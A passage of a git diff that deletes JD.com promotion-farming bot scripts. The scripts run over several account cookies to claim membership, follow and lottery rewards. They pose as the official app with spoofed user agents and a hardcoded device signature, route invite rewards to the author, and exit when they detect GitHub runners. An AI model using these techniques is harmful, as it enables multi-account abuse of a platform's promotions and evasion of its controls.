console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getUserInfo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function adLog() { - return new Promise(resolve => { - let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}` - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, - body: `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // data = JSON.parse(data); - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] - if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ - $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' - $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getHtml() { - return new Promise(resolve => { - $.get({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'X-Requested-With': 'com.jingdong.app.mall', - 'Cookie': `IsvToken=${$.isvObfuscatorToken}; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getMyPing() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - body: `userId=${$.shopId || $.venderId}&token=${$.isvObfuscatorToken}&fromType=APP`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] - $.lz_jdpin_token = '' - if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ - $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(res.data || ''); - } - }) - }) -} -function getSimpleActInfoVo() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dz/common/getSimpleActInfoVo`, - body: `activityId=${$.activityId}`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId - if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getWxCommonInfoToken () { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Origin':'https://lzdz1-isv.isvjcloud.com', - 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} wxCommonInfo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.LZ_TOKEN_KEY != 'undefined') $.LZ_TOKEN_KEY = res.data.LZ_TOKEN_KEY - if(typeof res.data.LZ_TOKEN_VALUE != 'undefined') $.LZ_TOKEN_VALUE = res.data.LZ_TOKEN_VALUE - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`token ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getIsvObfuscatorToken () { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=68&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3c9b9db164cc8d694603ca6e3d7fb003&st=1628423908868&sv=102&uemps=0-0&uts=0f31TVRjBSuihfC/1D/2G8oVbUW0Pu4uJDif0Ehi7AVzM40fF9GfNX0yawFyBpTXK/PgWitxArFfBLGK%2Be2W5Pno6b7J4iivmXiQYbYPZi7fbVYEHb8Xa5JAi/fbdr/QeztGPJhLoPHKsXGU39PgzC1cWUEVezUyvHVtAuVQGBR%2Bj6Cx5kcez%2BkVn3IH8dKrAI6kA/Ct%2BQopU%2BROo1oY2w%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'api.m.jd.com', - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(typeof res.token != 'undefined') $.isvObfuscatorToken = res.token - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskPostUrl(url, body) { - return { - url: `https://lzdz1-isv.isvjcloud.com${url}`, - body: body, - headers: { - "Accept": "application/json", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - "Host": "lzdz1-isv.isvjcloud.com", - "Origin": "https://lzdz1-isv.isvjcloud.com", - "X-Requested-With": "XMLHttpRequest", - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - "User-Agent": $.UA , - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard8.js b/backUp/gua_opencard8.js deleted file mode 100644 index d68fe2f..0000000 --- a/backUp/gua_opencard8.js +++ /dev/null @@ -1,756 +0,0 @@ -/* -8.10-8.15 头号玩家 一起热8 [gua_opencard8.js] -新增开卡脚本 -一次性脚本 - -邀请一人20豆 被邀请也有10豆(有可能没有豆 -开4个卡 抽奖可能获得30京豆(有可能有抽到空气💨 -关注10京豆 (有可能是空气💨 -加购5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku8]为"true" - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard8="true" -———————————————— -若是手机用户(不是nodejs环境) 是默认直接执行脚本的 -没有适配加购变量 所以是不加购 -———————————————— -入口:[8.10-8.15 头号玩家 一起热8 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=33d9ae00c1904c20bd8a4488fc5d6f33&shareUuid=cee5956e570f4f0985e6f8dddeca9817)] - -============Quantumultx=============== -[task_local] -#8.10-8.15 头号玩家 一起热8 -28 0,22 8-15 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard8.js, tag=8.10-8.15 头号玩家 一起热8, enabled=true - -================Loon============== -[Script] -cron "28 0,22 8-15 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard8.js,tag=8.10-8.15 头号玩家 一起热8 - -===============Surge================= -8.10-8.15 头号玩家 一起热8 = type=cron,cronexp="28 0,22 8-15 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard8.js - -============小火箭========= -8.10-8.15 头号玩家 一起热8 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard8.js, cronexpr="28 0,22 8-15 8 *", timeout=3600, enable=true -*/ -const $ = new Env('8.10-8.15 头号玩家 一起热8'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let guaopencard_addSku = false -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if ($.isNode()) { - if (!process.env.guaopencard8 || process.env.guaopencard8 == "false") { - console.log('如需执行脚本请设置环境变量[guaopencard8]为"true"') - return - } - } - guaopencard_addSku = process.env.guaopencard_addSku8 - if (!process.env.guaopencard_addSku8 || process.env.guaopencard_addSku8 == "false") { - console.log('如需加购请设置环境变量[guaopencard_addSku8]为"true"') - } - $.shareUuid = 'cee5956e570f4f0985e6f8dddeca9817' - $.activityId = '33d9ae00c1904c20bd8a4488fc5d6f33' - console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await run(); - if(i == 0 && !$.actorUuid) return - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -async function run(){ - try{ - $.isvObfuscatorToken = $.LZ_TOKEN_KEY = $.LZ_TOKEN_VALUE = '' - await getWxCommonInfoToken(); - await getIsvObfuscatorToken(); - if($.isvObfuscatorToken == '' || $.LZ_TOKEN_KEY == '' || $.LZ_TOKEN_VALUE == ''){ - console.log('获取[token]失败!') - return - } - await getSimpleActInfoVo() - $.myPingData = await getMyPing() - if ($.myPingData ==="" || $.myPingData === '400001' || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { - $.log("获取活动信息失败!") - return - } - await getHtml(); - await adLog(); - $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - await getUserInfo(); - $.actorUuid = ''; - await getActorUuid(); - if(!$.actorUuid){ - console.log('获取不到[actorUuid]退出执行,请重新执行') - return - } - await drawContent(); - await $.wait(1000) - let checkOpenCardData = await checkOpenCard(); - $.log("开完卡: " + checkOpenCardData.allOpenCard) - if (checkOpenCardData && !checkOpenCardData.allOpenCard) { - for (let cardList1Element of checkOpenCardData.cardList1) { - if(cardList1Element.status == 0){ - console.log(cardList1Element.name) - await join(cardList1Element.value) - await $.wait(1000) - await drawContent(); - } - } - await $.wait(1000) - await drawContent(); - checkOpenCardData = await checkOpenCard(); - await $.wait(1000) - } - if(checkOpenCardData && checkOpenCardData.score1 == 1) await startDraw(1) - $.log("关注: " + $.followShop) - if(!$.followShop) await followShop(); - if(!$.followShop) await $.wait(1000) - $.log("加购: " + $.addSku) - if(!$.addSku && guaopencard_addSku+"" != "true") console.log('如需加购请设置环境变量[guaopencard_addSku8]为"true"'); - if(!$.addSku && guaopencard_addSku) await addSku(); - if(!$.addSku && guaopencard_addSku) await $.wait(1000) - await getActorUuid() - await $.wait(1000) - await getDrawRecordHasCoupon() - await $.wait(1000) - await getShareRecord() - $.log($.shareUuid) - if ($.index === 1) { - if($.actorUuid){ - $.shareUuid = $.actorUuid; - console.log(`后面的号都会助力:${$.shareUuid}`) - }else{ - console.log('账号1获取不到[shareUuid]退出执行,请重新执行') - return - } - } - }catch(e){ - console.log(e) - } -} -function getDrawRecordHasCoupon() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - data = JSON.parse(data) - console.log(`我的奖品:`) - let num = 0 - let value = 0 - for(let i in data.data){ - let item = data.data[i] - if(item.value == '邀请好友') num++; - if(item.value == '邀请好友') value = item.infoName.replace('京豆',''); - if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) - } - if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 30}京豆`) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} -function getShareRecord() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getShareRecord', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data) - $.log(`=========== 你邀请了:${data.data.length}个`) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function addSku() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=2&taskValue=2736969` - $.post(taskPostUrl('/dingzhi/dz/openCard/saveTask', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.errorMessage) console.log(`加购:${data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - let msg = '' - if(data.data.addBeanNum){ - msg = `${data.data.addBeanNum}京豆` - } - console.log(`加购获得:${ msg || '空气💨'}`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function followShop() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=23&taskValue=1000009621` - $.post(taskPostUrl('/dingzhi/dz/openCard/followShop', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.errorMessage) console.log(`关注:${data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - let msg = '' - if(data.data.addBeanNum){ - msg = `${data.data.addBeanNum}京豆` - } - if(data.data.beanNumMember && data.data.assistSendStatus){ - msg += ` 额外获得:${data.data.beanNumMember}京豆` - } - console.log(`关注获得:${ msg || '空气💨'}`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - // console.log($.toStr(data.result)) - // console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: 